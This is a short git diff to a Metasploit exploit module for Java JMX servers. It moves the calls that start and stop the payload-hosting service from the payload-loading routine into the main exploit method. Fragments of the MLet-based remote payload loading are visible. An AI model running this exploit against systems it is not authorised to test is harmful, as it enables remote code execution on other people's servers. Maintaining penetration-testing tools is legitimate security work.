diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b2d1ab2b25..08d8ff79de 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -120,6 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + vprint_status("Starting service...") + start_service + @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" connect @@ -165,6 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote method: 'run' ) disconnect + vprint_status("Stopping service...") + stop_service end def is_rmi? @@ -242,9 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote end def load_payload_from_url(conn_stub) - vprint_status("Starting service...") - start_service - vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") begin @@ -308,9 +310,6 @@ class Metasploit3 < Msf::Exploit::Remote rescue ::Rex::Proto::Rmi::Exception => e vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") return false - ensure - vprint_status("Stopping service...") - stop_service end if res.nil?